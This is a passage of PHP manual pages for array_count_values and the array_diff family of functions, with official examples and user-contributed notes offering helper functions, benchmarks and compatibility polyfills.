    [red] => 3
    [green] => 3
    [yellow] => 4
    [blue] => 2
    [brown] => 2
    [white] => 1
    [black] => 1
)
*/
?>
bluej100@gmail 25-Mar-2008 01:37
byron at byronrode dot co dot za, here are some benchmarks.

<?php
$haystack = Array();
for ($i = 0; $i < 1000000; $i++) {
  $haystack[] = rand(1, 2000);
}

$needle = rand(1, 2000);

echo "__array_count_values()__\n";
$start = microtime(true);
$startmem = memory_get_usage();
$counts = array_count_values($haystack);
$mem = memory_get_usage()-$startmem;
echo 'Count:'.$counts[$needle]."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";

echo "__array_keys()__\n";
$start = microtime(true);
$startmem = memory_get_usage();
$keys = array_keys($haystack, $needle);
$mem = memory_get_usage()-$startmem;
echo 'Count:'.count($keys)."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";

echo '__$needle_array[]__'."\n";
$start = microtime(true);
$startmem = memory_get_usage();
$x = count($haystack);
for($i = 0; $i < $x; $i++){
  if($haystack[$i] == $needle){
    $needle_array[] = $haystack[$i];
  }
}
$mem = memory_get_usage()-$startmem;
$number_of_instances = count($needle_array);
echo 'Count:'.$number_of_instances."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";

echo '__$number_of_instances++__'."\n";
$start = microtime(true);
$startmem = memory_get_usage();
$x = count($haystack);
$number_of_instances = 0;
for($i = 0; $i < $x; $i++){
  if($haystack[$i] == $needle){
    $number_of_instances++;
  }
}
$mem = memory_get_usage()-$startmem;
echo 'Count:'.$number_of_instances."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";
?>

[www]mytemp$ php array_count_test.php
__array_count_values()__
Count:515
Time:0.0607650279999
Memory:120328

__array_keys()__
Count:515
Time:0.0869138240814
Memory:33016

__$needle_array[]__
Count:515
Time:0.259949922562
Memory:24792

__$number_of_instances++__
Count:515
Time:0.258481025696
Memory:0

However, when you use an array of strings by calling md5(rand(1, 2000)), the performance boosts become less significant:

__array_count_values()__
Count:499
Time:0.491794109344
Memory:184328

__array_keys()__
Count:499
Time:0.36399102211
Memory:30072

__$needle_array[]__
Count:499
Time:0.568728923798
Memory:22104

__$number_of_instances++__
Count:499
Time:0.574353933334
Memory:0

Results are similar for string->string haystacks with foreach traversal.
Hayley Watson 13-Mar-2008 11:37
Yet Another case-insensitive version of array_count_values()

<?php
$ar = array('J. Karjalainen', 'J. Karjalainen', 60, '60', 'J. Karjalainen', 'j. karjalainen', 'Fastway', 'FASTWAY', 'Fastway', 'fastway', 'YUP');

$ar = array_count_values(array_map('strtolower', $ar));
?>
byron at byronrode dot co dot za 26-Jun-2007 05:19
I am building a script for a quiz, and could not find any answers to count the number of times a value was repeated in an array, and came up with the following function.

<?php

// Answers Array
$array = array('a', 'b', 'a', 'a', 'c', 'a', 'd', 'a', 'c', 'd');

// Start Count Function
function count_repeat_values($needle, $haystack){

    $x = count($haystack);

    for($i = 0; $i < $x; $i++){

        if($haystack[$i] == $needle){
            $needle_array[] = $haystack[$i];
        }
    }

    $number_of_instances = count($needle_array);

    return $number_of_instances;
}

echo count_repeat_values('a', $array);

// will return the value 5
?>

But after writing the function, I happened to stroll upon array_count_values() which I had completely forgotten about.

I know that i could get the value by doing this:

<?php

$array = array('a', 'b', 'a', 'a', 'c', 'a', 'd', 'a', 'c', 'd');

$answer = array_count_values($array);
echo $answer['a']

?>

Would be interesting to see which version works quicker...
majerm at gmail dot com 18-Jun-2007 07:50
<?
function array_icount_values($array) {
    $ret_array = array();
    foreach($array as $value) $ret_array[strtolower($value)]++;
    return $ret_array;
}

$ar = array('J. Karjalainen', 'J. Karjalainen', 60, '60', 'J. Karjalainen', 'j. karjalainen', 'Fastway', 'FASTWAY', 'Fastway', 'fastway', 'YUP');
$ar = array_icount_values($ar);
?>

this prints:

Array
(
    [j. karjalainen] => 4
    [60] => 2
    [fastway] => 4
    [yup] => 1
)
rabies dot dostojevski at gmail dot com 21-Feb-2007 01:40
I couldn't find a function for counting the values with case-insensitive matching, so I wrote a quick and dirty solution myself:

<pre><?php
function array_icount_values($array) {
    $ret_array = array();
    foreach($array as $value) {
        foreach($ret_array as $key2 => $value2) {
            if(strtolower($key2) == strtolower($value)) {
                $ret_array[$key2]++;
                continue 2;
            }
        }
        $ret_array[$value] = 1;
    }
    return $ret_array;
}

$ar = array('J. Karjalainen', 'J. Karjalainen', 60, '60', 'J. Karjalainen', 'j. karjalainen', 'Fastway', 'FASTWAY', 'Fastway', 'fastway', 'YUP');
$ar2 = array_count_values($ar); // Normal matching
$ar = array_icount_values($ar); // Case-insensitive matching
print_r($ar2);
print_r($ar);
?></pre>

This prints:

Array
(
    [J. Karjalainen] => 3
    [60] => 2
    [j. karjalainen] => 1
    [Fastway] => 2
    [FASTWAY] => 1
    [fastway] => 1
    [YUP] => 1
)
Array
(
    [J. Karjalainen] => 4
    [60] => 2
    [Fastway] => 4
    [YUP] => 1
)

I don't know how efficient it is, but it seems to work. Needed this function in one of my scripts and thought I would share it.
meyermagic at gmail dot com 16-Jan-2007 06:43
Scratch that, I did something stupid. Here is a better function.

<?php
    function array_enumerate_keys($array)
    {
        $index = 0;
        $enumerated = array();
        $values = array_values($array);
        $keys = array_keys($array);
        for($index = 0; $index < count($array); $index++)
        {
            $iteration;
            for($iteration = 0; $iteration < $values[$index]; $iteration++)
            {
                $enumerated = array_merge($enumerated, array($keys[$index]));
            }
        }

        return $enumerated;
    }
?>
meyermagic at gmail dot com 16-Jan-2007 02:58
A possible inverse function for array_count_values

<?php
    function array_enumerate_keys($array)
    {
        $index;
        $enumerated;
        $values = array_values($array);
        $keys = array_keys($array);
        for($index = 0; $index < count($array); $index++)
        {
            $iteration;
            for($iteration = 0; $iteration < $values[$index]; $iteration++)
            {
                $enumerated .= $keys[$index] . ',';
            }
        }

        return explode(',', $enumerated);
    }
?>
coda at bobandgeorge dot com 14-Oct-2005 05:52
alwaysdrunk's comment only works if you can trust the client web browser. Using this function doesn't validate that every necessary field exists -- only that every field that was submitted has a value in it. Thus if an attacker wished to force a null value into one of the fields, he could (rather easily) construct a modified form without the field and submit THAT.

Besides, you really ought to be validating each field anyway if you're taking user input.
alwaysdrunk at gmail com 12-May-2005 12:14
if you have too many values in $_POST,$_GET array that needs to be controlled with isset() in oreder to understand the form is filled completely and have no empty text boxes.
you can try this,it saves time.

<?
$n = array_count_values($_POST);
if (!isset($n[''])) {
echo "The form is filled completely";
}
else
{ die("Please fill the form comlpetely"); }

//tested in php 5
?>
[Mr.A] 06-Mar-2005 02:59
I find a very simple solution to count values in multidimentional arrays (example for 2 levels) :

foreach ($array as $a) {
  foreach ($a as $b) {
    $count_values[$b]++;
  }
}
blauauge at figh7club dot com 03-Sep-2003 09:12
my solution for count  on multidimentional arrays.

<?php
  for($i = 0; $i < count($array); $i++) {
      $detail = explode("|", $array[$i]);
      echo "$i - $detail[0] - $detail[1]<br><br>";
      if($detail[1] == '1') { $wieoft1 = $wieoft1 +=1; }
      if($detail[1] == '2') { $wieoft2 = $wieoft2 +=1; }
      if($detail[1] == '3') { $wieoft3 = $wieoft3 +=1; }
  }
  echo ". $wieoft1 : $wieoft2 : $wieoft3";
?>

looks not pretty fine yet works great for me.
make it bigger for your own.
programmer at bardware dot de 19-Aug-2003 11:24
array_count_values returns the number of keys if empty(value). I expected array_count_values to return 0 for empty values.

Array looks like:
Array
        (
            [459] =>
            [543] =>
            [8959] =>
            [11273] =>
        )

array_count_values returns:
Array
(
    [] => 4
)

count(array_count_values(array)) does thus not report there are no values (other than empty) in the array.

I therefore check:
$arrFoo=array_count_values($arrBar);
if(isset($arrFoo[""]) $allempty=count($arrBar)==$arrFoo[""];
if(!$allempty)
//process the array
else
//no need to work on the array
digleu at codeway dot de 28-May-2003 02:58
I fount a solution for the count of array elements in the sense of array_count_values, but i was not able to use the function array_count_values itself because it does not say me if arrays exists in the given array, so i had to use a foreach loop and a little bit of recursivity ;)

<?php
function array_count_values_multidim($a,$out=false) {
  if ($out===false) $out=array();
  if (is_array($a)) {
    foreach($a as $e)
      $out=array_count_values_multidim($e,$out);
  }
  else {
    if (array_key_exists($a,$out))
      $out[$a]++;
    else
      $out[$a]=1;
  }
  return $out;
}
?>
pmarcIatIgeneticsImedIharvardIedu 29-Jan-2003 05:42
array_count_values function does not work on multidimentional arrays.
If $score[][] is a bidimentional array, the command
"array_count_values ($score)" return the error message "Warning: Can only count STRING and INTEGER values!".
manuzhai (AT) php (DOT) net 16-Nov-2002 06:45
You might use serialize() to serialize your objects before analyzing their frequency. :)
jon at fuck dot org 14-Aug-2002 02:31
suggested plan of attack:

<pre>
<?
class MyObject {
    function MyObject($t = 'none')
    {
      $this->$myTag = $t;
    }
}

$myArray = array();

for ($i = 1 ; $i < 11 ; $i++)
{
   $myobj = new MyObject( str_pad('n', $i, 'x') );
   $myArray[ $myobj->$myTag ] = $myobj;
}

print_r( array_count_values(array_keys($myArray)) );
?>

to sum up:
assuming each instance of an object you create has some sort of tag, e.g.,

$this->$myTag=get_class($this)

..you should be set. objects dont have value to compare the way strings and integers do, so, $myTag's value is arbitrary.
tschneider at formel4 dot de 12-Jun-2002 07:09
This does not works with objects. If you have an array filled with objects, you can not count them.

Example:

<?php
$myArray = array();
for ($i = 0 ; $i < 10 ; $i++)
{
   $myObject = new MyObject();
   $myArray[$i] = $myObject;
}

echo (array_count_values($myArray));
?>

This gives you:
Warning: Can only count STRING and INTEGER values...

Found no solution for this yet...
array_combine
array_diff_assoc
Array Functions


Computes the difference of arrays with additional index check

array_count_values
array_diff_key
Array Functions
PHP Manual

array_diff_assoc

(PHP 4 >= 4.3.0, PHP 5)

array_diff_assoc — Computes the difference of arrays with additional index check

Description

array array_diff_assoc ( array $array1 , array $array2 [, array $... ] )

Compares array1 against array2 and returns the difference. Unlike array_diff() the array keys are used in the comparison.

Parameters

array1

The array to compare from

array2

An array to compare against

...

More arrays to compare against

Return Values

Returns an array containing all the values from array1 that are not present in any of the other arrays.

Examples

Example #1 array_diff_assoc() example

In this example you see the "a" => "green" pair is present in both arrays and thus it is not in the output from the function. Unlike this, the pair 0 => "red" is in the output because in the second argument "red" has key which is 1.

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
$result = array_diff_assoc($array1, $array2);
print_r($result);
?>

The above example will output:

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

Example #2 array_diff_assoc() example

Two values from key => value pairs are considered equal only if (string) $elem1 === (string) $elem2 . In other words a strict check takes place so the string representations must be the same.

<?php
$array1 = array(0, 1, 2);
$array2 = array("00", "01", "2");
$result = array_diff_assoc($array1, $array2);
print_r($result);
?>

The above example will output:

Array
(
    [0] => 0
    [1] => 1
    )

Notes

Note: This function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using, for example, array_diff_assoc($array1[0], $array2[0]);.

See Also

  • array_diff() - Computes the difference of arrays
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check

User Contributed Notes

news_yodpeirs at thoftware dot de 12-Jul-2011 04:25
A quite simple (yet not very efficient) way to compare the first level of arrays which have values that are not strings:
array_map('unserialize',array_diff_assoc(array_map('serialize',$arr1),array_map('serialize',$arr2)))
Might be useful for debugging (that's what I use it for).
55 dot php at imars dot com 17-Mar-2009 07:09
I've worked on array_diff_assoc_recursive() mentioned by chinello at gmail dot com and I think it might be worth mentioning here. I wrote a dozen test cases and it seems to be holding up pretty well.

<?php
// dwarven Differences:
// * Replaced isset() with array_key_exists() to account for keys with null contents

// 55 dot php at imars dot com Differences:
// Key differences:
// * Removed redundant test;
// * Returns false bool on exact match (not zero integer);
// * Use type-precise comparison "!==" instead of loose "!=";
// * Detect when $array2 contains extraneous elements;
// * Returns "before" and "after" instead of only "before" arrays on mismatch.

function array_compare($array1, $array2) {
    $diff = false;
    // Left-to-right
    foreach ($array1 as $key => $value) {
        if (!array_key_exists($key,$array2)) {
            $diff[0][$key] = $value;
        } elseif (is_array($value)) {
             if (!is_array($array2[$key])) {
                    $diff[0][$key] = $value;
                    $diff[1][$key] = $array2[$key];
             } else {
                    $new = array_compare($value, $array2[$key]);
                    if ($new !== false) {
                         if (isset($new[0])) $diff[0][$key] = $new[0];
                         if (isset($new[1])) $diff[1][$key] = $new[1];
                    };
             };
        } elseif ($array2[$key] !== $value) {
             $diff[0][$key] = $value;
             $diff[1][$key] = $array2[$key];
        };
 };
 // Right-to-left
 foreach ($array2 as $key => $value) {
        if (!array_key_exists($key,$array1)) {
             $diff[1][$key] = $value;
        };
        // No direct comparsion because matching keys were compared in the
        // left-to-right loop earlier, recursively.
 };
 return $diff;
};
?>

Note that to catch small type differences, you need to use var_dump() rather than print_r(). For example:

<?php
first = Array( 'first' => 'second', 'third' => 'fourth',
  'fifth' => Array( 'oui' => 'yes', 'non' => 'no' ),
  'sixth' => Array( 3, 4, 2, 1 )
);
$second = Array( 'first' => 'second', 'third' => 'fourth',
  'fifth' => Array( 'oui' => 'yes', 'non' => 'no' ),
  'sixth' => Array( 3, 4, '2', 1 )
);
$diff = array_compare($first, $second);
if ($diff === false) echo "MATCH\n";
else var_dump($diff);
?>

The above would immediately show that element "sixth", index 2, is int(2) in $first but string(1)"2" in $second. As per the original function, order for associative arrays does not matter, and of course it does with lists.

[EDIT: Credits to php dot notes at dwarven dot co dot uk]
jrajpu10 at gmail dot com 25-Oct-2008 12:57
array_diff_assoc can also be used to find the duplicates in an array

<?php
$arr = array('1','2','3','4','3','2','5');
$uniques = array_unique($arr);
// array_diff will not work here, array_diff_assoc works as it takes the key // in account.
$dups = array_diff_assoc($arr, $uniques);

print_r($dups);
?>

Note: The index of the $dups is not in strict sequential order as expected by C programmer.
cedric at daneel dot net 21-May-2007 06:01
To diff between n-dimensional array, juste use this :

<?php
function array_diff_values($tab1, $tab2)
    {
    $result = array();
    foreach($tab1 as $values) if(! in_array($values, $tab2)) $result[] = $values;
    return $result;
    }
?>
contact at pascalopitz dot com 11-Apr-2007 04:14
The direction of the arguments does actually make a difference:

<?php
$a = array(
    'x' => 'x',
    'y' => 'y',
    'z' => 'z',
    't' => 't',
);

$b = array(
    'x' => 'x',
    'y' => 'y',
    'z' => 'z',
    't' => 't',
    'g' => 'g',
);

print_r(array_diff_assoc($a, $b));
print_r(array_diff_assoc($b, $a));
?>

echoes:

Array
(
)
Array
(
    [g] => g
)
chinello at gmail dot com 18-Mar-2007 10:33
The following will recursively do an array_diff_assoc, which will calculate differences on a multi-dimensional level.  This not display any notices if a key don't exist and if error_reporting is set to E_ALL:

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
              if(!isset($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              elseif(!is_array($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              else
              {
                  $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                  if($new_diff != FALSE)
                  {
                        $difference[$key] = $new_diff;
                  }
              }
          }
          elseif(!isset($array2[$key]) || $array2[$key] != $value)
          {
              $difference[$key] = $value;
          }
    }
    return !isset($difference) ? 0 : $difference;
}
?>

[NOTE BY danbrown AT php DOT net: This is a combination of efforts from previous notes deleted.  Contributors included (Michael Johnson), (jochem AT iamjochem DAWT com), (sc1n AT yahoo DOT com), and (anders DOT carlsson AT mds DOT mdh DOT se).]
Alexander Podgorny 30-May-2006 02:30
NOTE: the diff_array also removes all the duplicate values that match to the values in the second array:

<?php
    $array1 = array("a","b","c","a","a");
    $array2 = array("a");

    $diff = array_diff($array1,$array2);

    // yields: array("b","c") the duplicate "a" values are removed
?>
benjamin at moonfactory dot co dot jp 11-Jan-2005 09:56
Hi all,
For php versions < 4.3...

<?php
/**
 * array_diff_assoc for version < 4.3
 **/
if (!function_exists('array_diff_assoc'))
{
    function array_diff_assoc($a1, $a2)
    {
        foreach($a1 as $key => $value)
        {
            if(isset($a2[$key]))
            {
                if((string) $value !== (string) $a2[$key])
                {
                     $r[$key] = $value;
                }
            }else
            {
                $r[$key] = $value;
            }
        }
        return $r ;
    }
}

?>
carl at thep dot lu dot se 09-May-2003 02:55
To unset elements in an array if you know the keys but not the values, you can do:

<?php
$a = array("foo", "bar", "baz", "quux");
$b = array(1, 3); // Elements to get rid of

foreach($b as $e)
  unset($a[$e]);
?>

Of course this makes most sense if $b has many elements or is dynamically generated.
array_count_values
array_diff_key
Array Functions


Computes the difference of arrays using keys for comparison

array_diff_assoc
array_diff_uassoc
Array Functions
PHP Manual

array_diff_key

(PHP 5 >= 5.1.0)

array_diff_key — Computes the difference of arrays using keys for comparison

Description

array array_diff_key ( array $array1 , array $array2 [, array $... ] )

Compares the keys from array1 against the keys from array2 and returns the difference. This function is like array_diff() except the comparison is done on the keys instead of the values.

Parameters

array1

The array to compare from

array2

An array to compare against

...

More arrays to compare against

Return Values

Returns an array containing all the entries from array1 whose keys are not present in any of the other arrays.

Examples

Example #1 array_diff_key() example

The two keys from the key => value pairs are considered equal only if (string) $key1 === (string) $key2 . In other words a strict type check is executed so the string representation must be the same.

<?php
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_diff_key($array1, $array2));
?>

The above example will output:

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

Notes

Note:

This function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff_key($array1[0], $array2[0]);.

See Also

  • array_diff() - Computes the difference of arrays
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_diff_ukey() - Computes the difference of arrays using a callback function on the keys for comparison
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_intersect_key() - Computes the intersection of arrays using keys for comparison
  • array_intersect_ukey() - Computes the intersection of arrays using a callback function on the keys for comparison

User Contributed Notes

division-par-zero at zilon dot net 03-Oct-2008 07:02
you can use this function for return the difference of two array !

<?php
function array_unique_diff_key ($array1, $array2)
{
  if (is_array($array1) && is_array($array2))
    return array_diff_key($array1, $array2) + array_diff_key($array2, $array1);
  else if (is_array($array1)) return $array1;
  else if (is_array($array2)) return $array2;
  else return array();
}
?>
Ashton 02-Apr-2008 01:33
To return the unique elements (those with a key that exists only once in either array but not in both) try:
function array_unique_diff ($array1, $array2)
{
  array_merge(array_diff_key($array1, $array2), array_diff_key($array2, $array1));
}

Example:
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

  array_diff_key($array1, $array2)

returns

  array ( 'red' => 2, 'purple' => 4 )

  array_diff_key($array2, $array1)

returns

  array ( 'yellow' => 7, 'cyan' => 8, )

  array_unique_diff($array1, $array2);

returns

  array ( 'red' => 2, 'purple' => 4, 'yellow' => 7, 'cyan' => 8, )
sjungwirth at matrix-consultants dot com 28-Feb-2008 12:08
I needed something a little different where maybe even the keys in multidimensional arrays don't match up. Setting $assoc to false will cause only to check for missing keys, otherwise it compares values as well. This was also based on '2ge at 2ge dot us' function

<?php

function n_array_diff_assoc ($a1, $a2, $assoc=true) {
    $r = array();
    if(is_array(current($a1))):
        foreach($a1 as $k => $v):
            if(isset($a2[$k])):
                $diff = n_array_diff($a1[$k], $a2[$k], $assoc);
                if (!empty($diff)):
                    $r[$k] = $diff;
                endif;
            else:
                $r[$k] = $v;
            endif;
        endforeach;
    else:
        $r = $assoc ? array_diff_assoc($a1, $a2) : array_diff_key($a1, $a2);
    endif;
    return $r;
}
?>
coder at gs dot com 16-Feb-2008 02:00
The PHP4 version below works only unidirectionally. If you switch the arrays around i.e. (ar2, ar1) you get different results than (ar1, ar2).
AiFiLTr0 [at host] invyl [dot] ath.cx 29-Nov-2007 05:56
The recursive function suggested by '2ge at 2ge dot us' will provide you with empty arrays if there's no diff.
This variant of the function cleans up empty arrays and fixes a bug in the first suggested version. It works 100%
.
<?php
function array_diff_key_recursive ($a1, $a2) {
        foreach($a1 as $k => $v) {
            //$r[$k] = is_array($v) ? $this->array_diff_key_recursive($a1[$k], $a2[$k]) : array_diff_key($a1, $a2);
        if (is_array($v))
            {
            $r[$k]=$this->array_diff_key_recursive($a1[$k], $a2[$k]);
            }else
            {
            $r=array_diff_key($a1, $a2);
            }

        if (is_array($r[$k]) && count($r[$k])==0)
            {
            unset($r[$k]);
            }
        }
        return $r;
    }
?>
contact at autonoma dot fr 29-Jun-2007 05:01
after kwutzke's comment , here is a PHP4 array_diff_key fonction for those in need

    function PHP4_array_diff_key()
    {
        $arrs = func_get_args();
        $result = array_shift($arrs);
        foreach ($arrs as $array) {
            foreach ($result as $key => $v) {
                if (array_key_exists($key, $array)) {
                    unset($result[$key]);
                }
            }
        }
        return $result;
   }

works for me, enjoy.
kwutzke @ somewhere in the net 20-Dec-2006 04:27
PHP4 array_diff_key can be copied from the array_intersect_key implementation posted by some anonymous user on 2006-07-17. The only thing you have to do is to delete the '!' in the if and rename the function.
2ge at 2ge dot us 07-Mar-2006 11:28
Hello, if you need diff key of n-dimensional arrays here is nice solution:
<?php
function n_array_diff ($a1, $a2) {
        foreach($a1 as $k => $v) {
            $r[$k] = is_array($v) ? n_array_diff($a1[$k], $a2[$k]) : array_diff_key($a1, $a2);
        }
        return $r;
}
?>
it will print everything, what is missing in $a2.
vlad_mustafin at ukr dot net 13-Jan-2006 07:39
One more alternative variant :)
<?
if (!function_exists('array_diff_key')) {
    function array_diff_key() {
        $argCount   = func_num_args();
        $diff_arg_prefix = 'diffArg';
        $diff_arg_names = array();
        for ($i=0; $i < $argCount; $i++) {
            $diff_arg_names[$i] = 'diffArg'.$i;
            $$diff_arg_names[$i] = array_keys((array)func_get_arg($i));
        }
        $diffArrString = '';
        if (!empty($diff_arg_names)) $diffArrString =  '$'.implode(', $', $diff_arg_names);
        eval("\$result = array_diff(".$diffArrString.");");
        return $result;
    }
}
?>
ampf at egp dot up dot pt 25-Nov-2005 12:55
Well, you could implement in the code something more powerfull:

http://www.php.net/manual/en/function.array-diff.php#31364
ml at iceni dot pl 07-Jun-2005 12:52
You may obtain this function with PEAR Package PHP_Compat (http://pear.php.net/package/PHP_Compat)

Then using such code is quite useful
<?php
if(!function_exists('array_diff_key')){
    require_once 'PHP/Compat/Function/array_diff_key.php';
}
?>
maxence at pontapreta dot net 27-May-2005 10:38
Seems to be a great function, especially for n-dimensions arrays. The only problem is that I cannot find it in php 5.0.3 and 5.0.4. Does it really exist ?! :(

[20:27:05][maxence@conurb] ~/test2/php-5.0.4$ grep PHP_FUNCTION * -r | grep -i array_diff_key
[20:27:09][maxence@conurb] ~/test2/php-5.0.4$
eric dot broersma at phil dot uu dot nl 05-Mar-2005 06:58
<?php
function array_diff_key()
{
    $args = func_get_args();
    return array_flip(call_user_func_array('array_diff',
           array_map('array_flip',$args)));
}
?>
denis noessler 23-Nov-2004 04:07
if (!function_exists('array_diff_key'))
{
    /**
    * Computes the difference of arrays using keys for comparison
    *
    * @param    array    $valuesBase            Base elements for comparison, associative
    * @param    array    $valuesComp[,..]    Comparison elements, associative
    *
    * @param    array                        Elements, not existing in comparison element, associative
    */
    function array_diff_key()
    {
        $argCount   = func_num_args();
        $argValues  = func_get_args();
        $valuesDiff = array();

        if ($argCount < 2)
        {
            return false;
        }

        foreach ($argValues as $argParam)
        {
            if (!is_array($argParam))
            {
                return false;
            }
        }

        foreach ($argValues[0] as $valueKey => $valueData)
        {
            for ($i = 1; $i < $argCount; $i++)
            {
                if (isset($argValues[$i][$valueKey]))
                {
                    continue 2;
                }
            }

            $valuesDiff[$valueKey] = $valueData;
        }

        return $valuesDiff;
    }
}
array_diff_assoc
array_diff_uassoc
Array Functions


Computes the difference of arrays with additional index check which is performed by a user supplied callback function

array_diff_key
array_diff_ukey
Array Functions
PHP Manual

array_diff_uassoc

(PHP 5)

array_diff_uassoc — Computes the difference of arrays with additional index check which is performed by a user supplied callback function

Description

array array_diff_uassoc ( array $array1 , array $array2 [, array $... ], callback $key_compare_func )

Compares array1 against array2 and returns the difference. Unlike array_diff() the array keys are used in the comparison.

Unlike array_diff_assoc() an user supplied callback function is used for the indices comparison, not internal function.

Parameters

array1

The array to compare from

array2

An array to compare against

...

More arrays to compare against

key_compare_func

callback function to use. The callback function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

Returns an array containing all the entries from array1 that are not present in any of the other arrays.

Examples

Example #1 array_diff_uassoc() example

The "a" => "green" pair is present in both arrays and thus it is not in the output from the function. Unlike this, the pair 0 => "red" is in the output because in the second argument "red" has key which is 1.

<?php
function key_compare_func($a, $b)
{
    if ($a === $b) {
        return 0;
    }
    return ($a > $b)? 1:-1;
}

$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
$result = array_diff_uassoc($array1, $array2, "key_compare_func");
print_r($result);
?>

The above example will output:

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

The equality of 2 indices is checked by the user supplied callback function.

Notes

Note:

This function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using, for example, array_diff_uassoc($array1[0], $array2[0], "key_compare_func");.

See Also

  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_uintersect() - Computes the intersection of arrays, compares data by a callback function
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions

User Contributed Notes

There are no user contributed notes for this page.
array_diff_key
array_diff_ukey
Array Functions


Computes the difference of arrays using a callback function on the keys for comparison

array_diff_uassoc
array_diff
Array Functions
PHP Manual

array_diff_ukey

(PHP 5 >= 5.1.0)

array_diff_ukey — Computes the difference of arrays using a callback function on the keys for comparison

Description

array array_diff_ukey ( array $array1 , array $array2 [, array $ ... ], callback $key_compare_func )

Compares the keys from array1 against the keys from array2 and returns the difference. This function is like array_diff() except the comparison is done on the keys instead of the values.

Unlike array_diff_key() an user supplied callback function is used for the indices comparison, not internal function.

Parameters

array1

The array to compare from

array2

An array to compare against

...

More arrays to compare against

key_compare_func

callback function to use. The callback function must return an integer less than, equal to, or greater than zero if the first argument is considered to be respectively less than, equal to, or greater than the second.

Return Values

Returns an array containing all the entries from array1 that are not present in any of the other arrays.

Examples

Example #1 array_diff_ukey() example

<?php
function key_compare_func($key1, $key2)
{
    if ($key1 == $key2)
        return 0;
    else if ($key1 > $key2)
        return 1;
    else
        return -1;
}

$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_diff_ukey($array1, $array2, 'key_compare_func'));
?>

The above example will output:

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

Notes

Note:

This function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff_ukey($array1[0], $array2[0], 'callback_func');.

See Also

  • array_diff() - Computes the difference of arrays
  • array_udiff() - Computes the difference of arrays by using a callback function for data comparison
  • array_diff_assoc() - Computes the difference of arrays with additional index check
  • array_diff_uassoc() - Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_udiff_assoc() - Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc() - Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_diff_key() - Computes the difference of arrays using keys for comparison
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_intersect_key() - Computes the intersection of arrays using keys for comparison
  • array_intersect_ukey() - Computes the intersection of arrays using a callback function on the keys for comparison

User Contributed Notes

jordancdarwin at googlemail dot com 15-Dec-2007 01:41
Note, also that when you are using a callback function you can use the text-placeholders as this function relies on the retval of the function you give.

So, instead of 1,0,-1 you can use TRUE and FALSE if using only two options.

Just thought it may help you
array_diff_uassoc
array_diff
Array Functions


Computes the difference of arrays

array_diff_ukey
array_fill_keys
Array Functions
PHP Manual

array_diff

(PHP 4 >= 4.0.1, PHP 5)

array_diff — Computes the difference of arrays

Description

array array_diff ( array $array1 , array $array2 [, array $... ] )

Compares array1 against array2 and returns the difference.

Parameters

array1

The array to compare from

array2

An array to compare against

...

More arrays to compare against

Return Values

Returns an array containing all the entries from array1 that are not present in any of the other arrays.

Examples

Example #1 array_diff() example

<?php
$array1 = array("a" => "green", "red", "blue", "red");
$array2 = array("b" => "green", "yellow", "red");
$result = array_diff($array1, $array2);

print_r($result);
?>

Multiple occurrences in $array1 are all treated the same way. This will output :

Array
(
    [1] => blue
)

Notes

Note:

